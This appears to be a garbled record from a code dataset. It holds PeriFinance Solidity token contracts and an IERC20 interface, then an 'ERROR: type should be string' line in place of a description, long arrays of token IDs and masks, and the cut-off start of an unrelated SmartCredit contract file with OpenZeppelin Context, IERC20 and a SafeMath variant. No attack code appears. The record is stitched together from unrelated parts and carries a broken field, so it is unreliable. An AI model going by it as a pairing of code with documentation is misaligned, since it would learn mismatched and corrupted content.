function totalStakedAmount() external view returns (uint);
function userStakingShare(address _account) external view returns (uint);
function decimals() external view returns (uint8);
function hasStaked(address _account) external view returns (bool);
}
// Inheritance
// Libraries
// Internal references
contract BasePeriFinance is IERC20, ExternStateToken, MixinResolver, IPeriFinance {
using SafeMath for uint;
using SafeDecimalMath for uint;
// ========== STATE VARIABLES ==========
// Available Pynths which can be used with the system
string public constant TOKEN_NAME = "Peri Finance Token";
string public constant TOKEN_SYMBOL = "PERI";
uint8 public constant DECIMALS = 18;
bytes32 public constant pUSD = "pUSD";
// ========== ADDRESS RESOLVER CONFIGURATION ==========
bytes32 private constant CONTRACT_PERIFINANCESTATE = "PeriFinanceState";
bytes32 private constant CONTRACT_SYSTEMSTATUS = "SystemStatus";
bytes32 private constant CONTRACT_EXCHANGER = "Exchanger";
bytes32 private constant CONTRACT_ISSUER = "Issuer";
bytes32 private constant CONTRACT_REWARDSDISTRIBUTION = "RewardsDistribution";
bytes32 private constant CONTRACT_STAKINGSTATE_USDC = "StakingStateUSDC";
// ========== CONSTRUCTOR ==========
constructor(
address payable _proxy,
TokenState _tokenState,
address _owner,
uint _totalSupply,
address _resolver
)
public
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner)
MixinResolver(_resolver)
{}
// ========== VIEWS ==========
// Note: use public visibility so that it can be invoked in a subclass
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {
addresses = new bytes32[](6);
addresses[0] = CONTRACT_PERIFINANCESTATE;
addresses[1] = CONTRACT_SYSTEMSTATUS;
addresses[2] = CONTRACT_EXCHANGER;
addresses[3] = CONTRACT_ISSUER;
addresses[4] = CONTRACT_REWARDSDISTRIBUTION;
addresses[5] = CONTRACT_STAKINGSTATE_USDC;
}
function periFinanceState() internal view returns (IPeriFinanceState) {
return IPeriFinanceState(requireAndGetAddress(CONTRACT_PERIFINANCESTATE));
}
function systemStatus() internal view returns (ISystemStatus) {
return ISystemStatus(requireAndGetAddress(CONTRACT_SYSTEMSTATUS));
}
function exchanger() internal view returns (IExchanger) {
return IExchanger(requireAndGetAddress(CONTRACT_EXCHANGER));
}
function issuer() internal view returns (IIssuer) {
return IIssuer(requireAndGetAddress(CONTRACT_ISSUER));
}
function stakingStateUSDC() internal view returns (IStakingStateUSDC) {
return IStakingStateUSDC(requireAndGetAddress(CONTRACT_STAKINGSTATE_USDC));
}
function rewardsDistribution() internal view returns (IRewardsDistribution) {
return IRewardsDistribution(requireAndGetAddress(CONTRACT_REWARDSDISTRIBUTION));
}
function getRequiredAddress(bytes32 _contractName) external view returns (address) {
return requireAndGetAddress(_contractName);
}
function debtBalanceOf(address account, bytes32 currencyKey) external view returns (uint) {
return issuer().debtBalanceOf(account, currencyKey);
}
function totalIssuedPynths(bytes32 currencyKey) external view returns (uint) {
return issuer().totalIssuedPynths(currencyKey, false);
}
function totalIssuedPynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint) {
return issuer().totalIssuedPynths(currencyKey, true);
}
function availableCurrencyKeys() external view returns (bytes32[] memory) {
return issuer().availableCurrencyKeys();
}
function availablePynthCount() external view returns (uint) {
return issuer().availablePynthCount();
}
function availablePynths(uint index) external view returns (IPynth) {
return issuer().availablePynths(index);
}
function pynths(bytes32 currencyKey) external view returns (IPynth) {
return issuer().pynths(currencyKey);
}
function pynthsByAddress(address pynthAddress) external view returns (bytes32) {
return issuer().pynthsByAddress(pynthAddress);
}
function isWaitingPeriod(bytes32 currencyKey) external view returns (bool) {
return exchanger().maxSecsLeftInWaitingPeriod(messageSender, currencyKey) > 0;
}
function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid) {
return issuer().anyPynthOrPERIRateIsInvalid();
}
function maxIssuablePynths(address account) external view returns (uint maxIssuable) {
return issuer().maxIssuablePynths(account);
}
function remainingIssuablePynths(address account)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
)
{
return issuer().remainingIssuablePynths(account);
}
function collateralisationRatio(address _issuer) external view returns (uint) {
return issuer().collateralisationRatio(_issuer);
}
function collateral(address account) external view returns (uint) {
return issuer().collateral(account);
}
function transferablePeriFinance(address account) external view returns (uint transferable) {
(transferable, ) = issuer().transferablePeriFinanceAndAnyRateIsInvalid(account, tokenState.balanceOf(account));
}
function currentUSDCDebtQuota(address _account) external view returns (uint) {
return issuer().currentUSDCDebtQuota(_account);
}
function usdcStakedAmountOf(address _account) external view returns (uint) {
return stakingStateUSDC().stakedAmountOf(_account);
}
function usdcTotalStakedAmount() external view returns (uint) {
return stakingStateUSDC().totalStakedAmount();
}
function userUSDCStakingShare(address _account) external view returns (uint) {
return stakingStateUSDC().userStakingShare(_account);
}
function totalUSDCStakerCount() external view returns (uint) {
return stakingStateUSDC().totalStakerCount();
}
function _canTransfer(address account, uint value) internal view returns (bool) {
(uint initialDebtOwnership, ) = periFinanceState().issuanceData(account);
if (initialDebtOwnership > 0) {
(uint transferable, bool anyRateIsInvalid) =
issuer().transferablePeriFinanceAndAnyRateIsInvalid(account, tokenState.balanceOf(account));
require(value <= transferable, "Cannot transfer staked or escrowed PERI");
require(!anyRateIsInvalid, "A pynth or PERI rate is invalid");
}
return true;
}
// ========== MUTATIVE FUNCTIONS ==========
function exchange(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) {
_notImplemented();
return exchanger().exchange(messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender);
}
function exchangeOnBehalf(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) {
_notImplemented();
return
exchanger().exchangeOnBehalf(
exchangeForAddress,
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey
);
}
function settle(bytes32 currencyKey)
external
optionalProxy
returns (
uint reclaimed,
uint refunded,
uint numEntriesSettled
)
{
_notImplemented();
return exchanger().settle(messageSender, currencyKey);
}
function exchangeWithTracking(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address originator,
bytes32 trackingCode
) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) {
_notImplemented();
return
exchanger().exchangeWithTracking(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
messageSender,
originator,
trackingCode
);
}
function exchangeOnBehalfWithTracking(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address originator,
bytes32 trackingCode
) external exchangeActive(sourceCurrencyKey, destinationCurrencyKey) optionalProxy returns (uint amountReceived) {
_notImplemented();
return
exchanger().exchangeOnBehalfWithTracking(
exchangeForAddress,
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
originator,
trackingCode
);
}
function transfer(address to, uint value) external optionalProxy systemActive returns (bool) {
// Ensure they're not trying to exceed their locked amount -- only if they have debt.
_canTransfer(messageSender, value);
// Perform the transfer: if there is a problem an exception will be thrown in this call.
_transferByProxy(messageSender, to, value);
return true;
}
function transferFrom(
address from,
address to,
uint value
) external optionalProxy systemActive returns (bool) {
// Ensure they're not trying to exceed their locked amount -- only if they have debt.
_canTransfer(from, value);
// Perform the transfer: if there is a problem,
// an exception will be thrown in this call.
return _transferFromByProxy(messageSender, from, to, value);
}
function issuePynthsAndStakeUSDC(uint _issueAmount, uint _usdcStakeAmount) external issuanceActive optionalProxy {
issuer().issuePynthsAndStakeUSDC(messageSender, _issueAmount, _usdcStakeAmount);
}
function issueMaxPynths() external issuanceActive optionalProxy {
issuer().issueMaxPynths(messageSender);
}
function issuePynthsAndStakeMaxUSDC(uint _issueAmount) external issuanceActive optionalProxy {
issuer().issuePynthsAndStakeMaxUSDC(messageSender, _issueAmount);
}
function burnPynthsAndUnstakeUSDC(uint _burnAmount, uint _unstakeAmount) external issuanceActive optionalProxy {
return issuer().burnPynthsAndUnstakeUSDC(messageSender, _burnAmount, _unstakeAmount);
}
function burnPynthsAndUnstakeUSDCToTarget() external issuanceActive optionalProxy {
return issuer().burnPynthsAndUnstakeUSDCToTarget(messageSender);
}
function exchangeWithVirtual(
bytes32,
uint,
bytes32,
bytes32
) external returns (uint, IVirtualPynth) {
_notImplemented();
}
function liquidateDelinquentAccount(address, uint) external returns (bool) {
_notImplemented();
}
function mintSecondary(address, uint) external {
_notImplemented();
}
function mintSecondaryRewards(uint) external {
_notImplemented();
}
function burnSecondary(address, uint) external {
_notImplemented();
}
function _notImplemented() internal pure {
revert("Cannot be run on this layer");
}
// ========== MODIFIERS ==========
modifier systemActive() {
_systemActive();
_;
}
function _systemActive() private {
systemStatus().requireSystemActive();
}
modifier issuanceActive() {
_issuanceActive();
_;
}
function _issuanceActive() private {
systemStatus().requireIssuanceActive();
}
modifier exchangeActive(bytes32 src, bytes32 dest) {
_exchangeActive(src, dest);
_;
}
function _exchangeActive(bytes32 src, bytes32 dest) private {
systemStatus().requireExchangeBetweenPynthsAllowed(src, dest);
}
modifier onlyExchanger() {
_onlyExchanger();
_;
}
function _onlyExchanger() private {
require(msg.sender == address(exchanger()), "Only Exchanger can invoke this");
}
// ========== EVENTS ==========
event PynthExchange(
address indexed account,
bytes32 fromCurrencyKey,
uint256 fromAmount,
bytes32 toCurrencyKey,
uint256 toAmount,
address toAddress
);
bytes32 internal constant PYNTHEXCHANGE_SIG =
keccak256("PynthExchange(address,bytes32,uint256,bytes32,uint256,address)");
function emitPynthExchange(
address account,
bytes32 fromCurrencyKey,
uint256 fromAmount,
bytes32 toCurrencyKey,
uint256 toAmount,
address toAddress
) external onlyExchanger {
proxy._emit(
abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress),
2,
PYNTHEXCHANGE_SIG,
addressToBytes32(account),
0,
0
);
}
event ExchangeTracking(bytes32 indexed trackingCode, bytes32 toCurrencyKey, uint256 toAmount);
bytes32 internal constant EXCHANGE_TRACKING_SIG = keccak256("ExchangeTracking(bytes32,bytes32,uint256)");
function emitExchangeTracking(
bytes32 trackingCode,
bytes32 toCurrencyKey,
uint256 toAmount
) external onlyExchanger {
proxy._emit(abi.encode(toCurrencyKey, toAmount), 2, EXCHANGE_TRACKING_SIG, trackingCode, 0, 0);
}
event ExchangeReclaim(address indexed account, bytes32 currencyKey, uint amount);
bytes32 internal constant EXCHANGERECLAIM_SIG = keccak256("ExchangeReclaim(address,bytes32,uint256)");
function emitExchangeReclaim(
address account,
bytes32 currencyKey,
uint256 amount
) external onlyExchanger {
proxy._emit(abi.encode(currencyKey, amount), 2, EXCHANGERECLAIM_SIG, addressToBytes32(account), 0, 0);
}
event ExchangeRebate(address indexed account, bytes32 currencyKey, uint amount);
bytes32 internal constant EXCHANGEREBATE_SIG = keccak256("ExchangeRebate(address,bytes32,uint256)");
function emitExchangeRebate(
address account,
bytes32 currencyKey,
uint256 amount
) external onlyExchanger {
proxy._emit(abi.encode(currencyKey, amount), 2, EXCHANGEREBATE_SIG, addressToBytes32(account), 0, 0);
}
}
// https://docs.peri.finance/contracts/source/interfaces/irewardescrow
interface IRewardEscrow {
// Views
function balanceOf(address account) external view returns (uint);
function numVestingEntries(address account) external view returns (uint);
function totalEscrowedAccountBalance(address account) external view returns (uint);
function totalVestedAccountBalance(address account) external view returns (uint);
function getVestingScheduleEntry(address account, uint index) external view returns (uint[2] memory);
function getNextVestingIndex(address account) external view returns (uint);
// Mutative functions
function appendVestingEntry(address account, uint quantity) external;
function vest() external;
}
pragma experimental ABIEncoderV2;
library VestingEntries {
struct VestingEntry {
uint64 endTime;
uint256 escrowAmount;
}
struct VestingEntryWithID {
uint64 endTime;
uint256 escrowAmount;
uint256 entryID;
}
}
interface IRewardEscrowV2 {
// Views
function balanceOf(address account) external view returns (uint);
function numVestingEntries(address account) external view returns (uint);
function totalEscrowedAccountBalance(address account) external view returns (uint);
function totalVestedAccountBalance(address account) external view returns (uint);
function getVestingQuantity(address account, uint256[] calldata entryIDs) external view returns (uint);
function getVestingSchedules(
address account,
uint256 index,
uint256 pageSize
) external view returns (VestingEntries.VestingEntryWithID[] memory);
function getAccountVestingEntryIDs(
address account,
uint256 index,
uint256 pageSize
) external view returns (uint256[] memory);
function getVestingEntryClaimable(address account, uint256 entryID) external view returns (uint);
function getVestingEntry(address account, uint256 entryID) external view returns (uint64, uint256);
// Mutative functions
function vest(uint256[] calldata entryIDs) external;
function createEscrowEntry(
address beneficiary,
uint256 deposit,
uint256 duration
) external;
function appendVestingEntry(
address account,
uint256 quantity,
uint256 duration
) external;
function migrateVestingSchedule(address _addressToMigrate) external;
function migrateAccountEscrowBalances(
address[] calldata accounts,
uint256[] calldata escrowBalances,
uint256[] calldata vestedBalances
) external;
// Account Merging
function startMergingWindow() external;
function mergeAccount(address accountToMerge, uint256[] calldata entryIDs) external;
function nominateAccountToMerge(address account) external;
function accountMergingIsOpen() external view returns (bool);
// L2 Migration
function importVestingEntries(
address account,
uint256 escrowedAmount,
VestingEntries.VestingEntry[] calldata vestingEntries
) external;
// Return amount of PERI transfered to PeriFinanceBridgeToOptimism deposit contract
function burnForMigration(address account, uint256[] calldata entryIDs)
external
returns (uint256 escrowedAccountBalance, VestingEntries.VestingEntry[] memory vestingEntries);
}
// https://docs.peri.finance/contracts/source/interfaces/isupplyschedule
interface ISupplySchedule {
// Views
function mintableSupply() external view returns (uint);
function isMintable() external view returns (bool);
function minterReward() external view returns (uint);
// Mutative functions
function recordMintEvent(uint supplyMinted) external returns (bool);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/periFinance
contract PeriFinance is BasePeriFinance {
// ========== ADDRESS RESOLVER CONFIGURATION ==========
bytes32 private constant CONTRACT_REWARD_ESCROW = "RewardEscrow";
bytes32 private constant CONTRACT_REWARDESCROW_V2 = "RewardEscrowV2";
bytes32 private constant CONTRACT_SUPPLYSCHEDULE = "SupplySchedule";
address public minterRole;
address public inflationMinter;
// ========== CONSTRUCTOR ==========
constructor(
address payable _proxy,
TokenState _tokenState,
address _owner,
uint _totalSupply,
address _resolver,
address _minterRole
) public BasePeriFinance(_proxy, _tokenState, _owner, _totalSupply, _resolver) {
minterRole = _minterRole;
}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {
bytes32[] memory existingAddresses = BasePeriFinance.resolverAddressesRequired();
bytes32[] memory newAddresses = new bytes32[](3);
newAddresses[0] = CONTRACT_REWARD_ESCROW;
newAddresses[1] = CONTRACT_REWARDESCROW_V2;
newAddresses[2] = CONTRACT_SUPPLYSCHEDULE;
return combineArrays(existingAddresses, newAddresses);
}
// ========== VIEWS ==========
function rewardEscrow() internal view returns (IRewardEscrow) {
return IRewardEscrow(requireAndGetAddress(CONTRACT_REWARD_ESCROW));
}
function rewardEscrowV2() internal view returns (IRewardEscrowV2) {
return IRewardEscrowV2(requireAndGetAddress(CONTRACT_REWARDESCROW_V2));
}
function supplySchedule() internal view returns (ISupplySchedule) {
return ISupplySchedule(requireAndGetAddress(CONTRACT_SUPPLYSCHEDULE));
}
// ========== OVERRIDDEN FUNCTIONS ==========
function exchangeWithVirtual(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
bytes32 trackingCode
)
external
exchangeActive(sourceCurrencyKey, destinationCurrencyKey)
optionalProxy
returns (uint amountReceived, IVirtualPynth vPynth)
{
_notImplemented();
return
exchanger().exchangeWithVirtual(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
messageSender,
trackingCode
);
}
function settle(bytes32 currencyKey)
external
optionalProxy
returns (
uint reclaimed,
uint refunded,
uint numEntriesSettled
)
{
_notImplemented();
return exchanger().settle(messageSender, currencyKey);
}
function inflationalMint(uint _networkDebtShare) external issuanceActive returns (bool) {
require(msg.sender == inflationMinter, "Not allowed to mint");
require(SafeDecimalMath.unit() >= _networkDebtShare, "Invalid network debt share");
require(address(rewardsDistribution()) != address(0), "RewardsDistribution not set");
ISupplySchedule _supplySchedule = supplySchedule();
IRewardsDistribution _rewardsDistribution = rewardsDistribution();
uint supplyToMint = _supplySchedule.mintableSupply();
supplyToMint = supplyToMint.multiplyDecimal(_networkDebtShare);
require(supplyToMint > 0, "No supply is mintable");
// record minting event before mutation to token supply
_supplySchedule.recordMintEvent(supplyToMint);
// Set minted PERI balance to RewardEscrow's balance
// Minus the minterReward and set balance of minter to add reward
uint minterReward = _supplySchedule.minterReward();
// Get the remainder
uint amountToDistribute = supplyToMint.sub(minterReward);
// Set the token balance to the RewardsDistribution contract
tokenState.setBalanceOf(
address(_rewardsDistribution),
tokenState.balanceOf(address(_rewardsDistribution)).add(amountToDistribute)
);
emitTransfer(address(this), address(_rewardsDistribution), amountToDistribute);
// Kick off the distribution of rewards
_rewardsDistribution.distributeRewards(amountToDistribute);
// Assign the minters reward.
tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward));
emitTransfer(address(this), msg.sender, minterReward);
totalSupply = totalSupply.add(supplyToMint);
return true;
}
function mint(address _user, uint _amount) external optionalProxy returns (bool) {
require(minterRole != address(0), "Mint is not available");
require(minterRole == messageSender, "Caller is not allowed to mint");
// It won't change totalsupply since it is only for bridge purpose.
tokenState.setBalanceOf(_user, tokenState.balanceOf(_user).add(_amount));
emitTransfer(address(0), _user, _amount);
return true;
}
function liquidateDelinquentAccount(address account, uint pusdAmount)
external
systemActive
optionalProxy
returns (bool)
{
_notImplemented();
(uint totalRedeemed, uint amountLiquidated) =
issuer().liquidateDelinquentAccount(account, pusdAmount, messageSender);
emitAccountLiquidated(account, totalRedeemed, amountLiquidated, messageSender);
// Transfer PERI redeemed to messageSender
// Reverts if amount to redeem is more than balanceOf account, ie due to escrowed balance
return _transferByProxy(account, messageSender, totalRedeemed);
}
/* Once off function for SIP-60 to migrate PERI balances in the RewardEscrow contract
* To the new RewardEscrowV2 contract
*/
function migrateEscrowBalanceToRewardEscrowV2() external onlyOwner {
// Record balanceOf(RewardEscrow) contract
uint rewardEscrowBalance = tokenState.balanceOf(address(rewardEscrow()));
// transfer all of RewardEscrow's balance to RewardEscrowV2
// _internalTransfer emits the transfer event
_internalTransfer(address(rewardEscrow()), address(rewardEscrowV2()), rewardEscrowBalance);
}
function setMinterRole(address _newMinter) external onlyOwner {
// If address is set to zero address, mint is not prohibited
minterRole = _newMinter;
}
function setinflationMinter(address _newinflationMinter) external onlyOwner {
inflationMinter = _newinflationMinter;
}
// ========== EVENTS ==========
event AccountLiquidated(address indexed account, uint periRedeemed, uint amountLiquidated, address liquidator);
bytes32 internal constant ACCOUNTLIQUIDATED_SIG = keccak256("AccountLiquidated(address,uint256,uint256,address)");
function emitAccountLiquidated(
address account,
uint256 periRedeemed,
uint256 amountLiquidated,
address liquidator
) internal {
proxy._emit(
abi.encode(periRedeemed, amountLiquidated, liquidator),
2,
ACCOUNTLIQUIDATED_SIG,
addressToBytes32(account),
0,
0
);
}
}
contract PeriFinanceToEthereum is PeriFinance {
address public childChainManager;
constructor(
address payable _proxy,
TokenState _tokenState,
address _owner,
uint _totalSupply,
address _resolver,
address _minterRole
) public PeriFinance(_proxy, _tokenState, _owner, _totalSupply, _resolver, _minterRole) {}
function inflationalMint() external returns (bool) {
_notImplemented();
}
function issuePynthsAndStakeUSDC(uint _issueAmount, uint _usdcStakeAmount) external {
_notImplemented();
}
function issueMaxPynths() external {
_notImplemented();
}
function issuePynthsAndStakeMaxUSDC(uint _issueAmount) external {
_notImplemented();
}
function burnPynthsAndUnstakeUSDC(uint _burnAmount, uint _unstakeAmount) external {
_notImplemented();
}
function burnPynthsAndUnstakeUSDCToTarget() external {
_notImplemented();
}
function exchange(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived) {
_notImplemented();
}
function exchangeOnBehalf(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived) {
_notImplemented();
}
function exchangeWithTracking(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address originator,
bytes32 trackingCode
) external returns (uint amountReceived) {
_notImplemented();
}
function exchangeOnBehalfWithTracking(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address originator,
bytes32 trackingCode
) external returns (uint amountReceived) {
_notImplemented();
}
function exchangeWithVirtual(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
bytes32 trackingCode
) external returns (uint amountReceived, IVirtualPynth vPynth) {
_notImplemented();
}
function settle(bytes32 currencyKey)
external
returns (
uint reclaimed,
uint refunded,
uint numEntries
)
{
_notImplemented();
}
function liquidateDelinquentAccount(address account, uint pusdAmount) external returns (bool) {
_notImplemented();
}
function transfer(address to, uint value) external optionalProxy systemActive returns (bool) {
return _transferByProxy(messageSender, to, value);
}
function transferFrom(
address from,
address to,
uint value
) external optionalProxy systemActive returns (bool) {
return _transferFromByProxy(messageSender, from, to, value);
}
}
| ERROR: type should be string, got " https:docs.peri.finance/contracts/source/interfaces/ierc20 ERC20 Optional Views Views Mutative functions Events" |
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
| 1,629,351 |
[
1,
4528,
30,
8532,
18,
457,
77,
18,
926,
1359,
19,
16351,
87,
19,
3168,
19,
15898,
19,
2453,
71,
3462,
4232,
39,
3462,
4055,
31117,
31117,
14138,
1535,
4186,
9043,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5831,
467,
654,
39,
3462,
288,
203,
565,
445,
508,
1435,
3903,
1476,
1135,
261,
1080,
3778,
1769,
203,
203,
565,
445,
3273,
1435,
3903,
1476,
1135,
261,
1080,
3778,
1769,
203,
203,
565,
445,
15105,
1435,
3903,
1476,
1135,
261,
11890,
28,
1769,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
3903,
1476,
1135,
261,
11890,
1769,
203,
203,
565,
445,
11013,
951,
12,
2867,
3410,
13,
3903,
1476,
1135,
261,
11890,
1769,
203,
203,
565,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
3903,
1476,
1135,
261,
11890,
1769,
203,
203,
565,
445,
7412,
12,
2867,
358,
16,
2254,
460,
13,
3903,
1135,
261,
6430,
1769,
203,
203,
565,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
460,
13,
3903,
1135,
261,
6430,
1769,
203,
203,
565,
445,
7412,
1265,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
460,
203,
565,
262,
3903,
1135,
261,
6430,
1769,
203,
203,
565,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
460,
1769,
203,
203,
565,
871,
1716,
685,
1125,
12,
2867,
8808,
3410,
16,
1758,
8808,
17571,
264,
16,
2254,
460,
1769,
203,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// https://smartcredit.io
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function subs(uint256 a, uint256 b) internal pure returns (uint256) {
return subs(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function subs(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
